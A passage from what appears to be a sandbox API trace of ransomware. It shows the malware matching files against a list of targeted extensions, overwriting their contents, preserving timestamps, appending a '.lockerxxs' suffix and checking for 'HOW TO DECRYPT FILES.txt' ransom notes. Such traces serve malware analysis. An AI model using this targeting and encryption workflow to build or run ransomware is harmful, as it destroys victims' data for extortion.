(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.qbw") returned 0 [0084.451] lstrlenA (lpString="*.qbw") returned 5 [0084.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.qbb") returned 0 [0084.451] lstrlenA (lpString="*.qbb") returned 5 [0084.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.qbm") returned 0 [0084.451] lstrlenA (lpString="*.qbm") returned 5 [0084.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.qbo") returned 0 [0084.451] lstrlenA (lpString="*.qbo") returned 5 [0084.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.qbx") returned 0 [0084.451] lstrlenA (lpString="*.qbx") returned 5 [0084.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.qba") returned 0 [0084.451] lstrlenA (lpString="*.qba") returned 5 [0084.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.qby") returned 0 [0084.451] lstrlenA (lpString="*.qby") returned 5 [0084.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.qbj") returned 0 [0084.451] lstrlenA (lpString="*.qbj") returned 5 [0084.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.ofx") returned 0 [0084.452] lstrlenA (lpString="*.ofx") returned 5 [0084.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.qif") returned 0 [0084.452] lstrlenA (lpString="*.qif") returned 5 [0084.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.mye") returned 0 [0084.452] lstrlenA (lpString="*.mye") returned 5 [0084.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.mbox") returned 0 [0084.452] lstrlenA (lpString="*.mbox") returned 6 [0084.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.eml") returned 0 [0084.452] lstrlenA (lpString="*.eml") returned 5 [0084.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.pst") returned 0 [0084.452] lstrlenA (lpString="*.pst") returned 5 [0084.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.ost") returned 0 [0084.452] lstrlenA (lpString="*.ost") returned 5 [0084.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.idx") returned 0 [0084.452] lstrlenA (lpString="*.idx") returned 5 [0084.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.dbx") returned 0 [0084.452] lstrlenA (lpString="*.dbx") returned 5 [0084.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.sql") returned 0 [0084.452] lstrlenA (lpString="*.sql") returned 5 [0084.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.mdb") returned 0 [0084.452] lstrlenA (lpString="*.mdb") returned 5 [0084.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.fdb") returned 0 [0084.453] lstrlenA (lpString="*.fdb") returned 5 [0084.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.wab") returned 0 [0084.453] lstrlenA (lpString="*.wab") returned 5 [0084.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.dat") returned 0 [0084.453] lstrlenA (lpString="*.dat") returned 5 [0084.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.txt") returned 0 [0084.453] lstrlenA (lpString="*.txt") returned 5 [0084.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.jpeg") returned 0 [0084.453] lstrlenA (lpString="*.jpeg") returned 6 [0084.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.jpg") returned 1 [0084.453] lstrlenA (lpString="*.jpg") returned 5 [0084.453] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg" [0084.453] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg" [0084.453] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg." [0084.453] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg.lockerxxs" [0084.453] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefjut[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.454] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb7e [0084.454] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x456d9c70, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x456d9c70, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x456d9c70, dwHighDateTime=0x1d2faf3)) returned 1 [0084.454] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.454] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xb58, lpOverlapped=0x0) returned 1 [0084.456] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg") returned="BBEfjuT[1].jpg" [0084.456] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.456] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xb58, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xb58, lpOverlapped=0x0) returned 1 [0084.457] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.457] CloseHandle (hObject=0xa4) returned 1 [0084.457] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefjut[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefjut[1].jpg.lockerxxs")) returned 1 [0084.458] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x457be4b0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x457be4b0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x457be4b0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x1b14, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEfkgi[1].jpg", cAlternateFileName="BBEFKG~1.JPG")) returned 1 [0084.458] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.458] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEfkgi[1].jpg") returned 1 [0084.458] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEfkgi[1].jpg") returned 1 [0084.458] lstrcmpiA (lpString1="", lpString2="BBEfkgi[1].jpg") returned -1 [0084.458] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg") returned="BBEfjuT[1].jpg" [0084.458] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.458] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.458] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.458] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.458] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEfkgi[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg" [0084.458] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.ems") returned 0 [0084.459] lstrlenA (lpString="*.ems") returned 5 [0084.459] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.db") returned 0 [0084.459] lstrlenA (lpString="*.db") returned 4 [0084.459] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.dbf") returned 0 [0084.459] lstrlenA (lpString="*.dbf") returned 5 [0084.459] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.myox") returned 0 [0084.459] lstrlenA (lpString="*.myox") returned 6 [0084.459] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.myo") returned 0 [0084.459] lstrlenA (lpString="*.myo") returned 5 [0084.459] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.qbw") returned 0 [0084.459] lstrlenA (lpString="*.qbw") returned 5 [0084.459] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.qbb") returned 0 [0084.459] lstrlenA (lpString="*.qbb") returned 5 [0084.459] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.qbm") returned 0 [0084.459] lstrlenA (lpString="*.qbm") returned 5 [0084.459] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.qbo") returned 0 [0084.459] lstrlenA (lpString="*.qbo") returned 5 [0084.459] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.qbx") returned 0 [0084.459] lstrlenA (lpString="*.qbx") returned 5 [0084.459] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.qba") returned 0 [0084.459] lstrlenA (lpString="*.qba") returned 5 [0084.459] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.qby") returned 0 [0084.459] lstrlenA (lpString="*.qby") returned 5 [0084.459] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.qbj") returned 0 [0084.459] lstrlenA (lpString="*.qbj") returned 5 [0084.459] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.ofx") returned 0 [0084.460] lstrlenA (lpString="*.ofx") returned 5 [0084.460] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.qif") returned 0 [0084.460] lstrlenA (lpString="*.qif") returned 5 [0084.460] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.mye") returned 0 [0084.460] lstrlenA (lpString="*.mye") returned 5 [0084.460] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.mbox") returned 0 [0084.460] lstrlenA (lpString="*.mbox") returned 6 [0084.460] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.eml") returned 0 [0084.460] lstrlenA (lpString="*.eml") returned 5 [0084.460] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.pst") returned 0 [0084.460] lstrlenA (lpString="*.pst") returned 5 [0084.460] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.ost") returned 0 [0084.460] lstrlenA (lpString="*.ost") returned 5 [0084.460] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.idx") returned 0 [0084.460] lstrlenA (lpString="*.idx") returned 5 [0084.460] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.dbx") returned 0 [0084.460] lstrlenA (lpString="*.dbx") returned 5 [0084.460] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.sql") returned 0 [0084.460] lstrlenA (lpString="*.sql") returned 5 [0084.460] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.mdb") returned 0 [0084.460] lstrlenA (lpString="*.mdb") returned 5 [0084.460] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.fdb") returned 0 [0084.460] lstrlenA (lpString="*.fdb") returned 5 [0084.460] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.wab") returned 0 [0084.460] lstrlenA (lpString="*.wab") returned 5 [0084.460] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.dat") returned 0 [0084.461] lstrlenA (lpString="*.dat") returned 5 [0084.461] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.txt") returned 0 [0084.461] lstrlenA (lpString="*.txt") returned 5 [0084.461] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.jpeg") returned 0 [0084.461] lstrlenA (lpString="*.jpeg") returned 6 [0084.461] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", pszSpec="*.jpg") returned 1 [0084.461] lstrlenA (lpString="*.jpg") returned 5 [0084.461] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg" [0084.461] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg" [0084.461] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 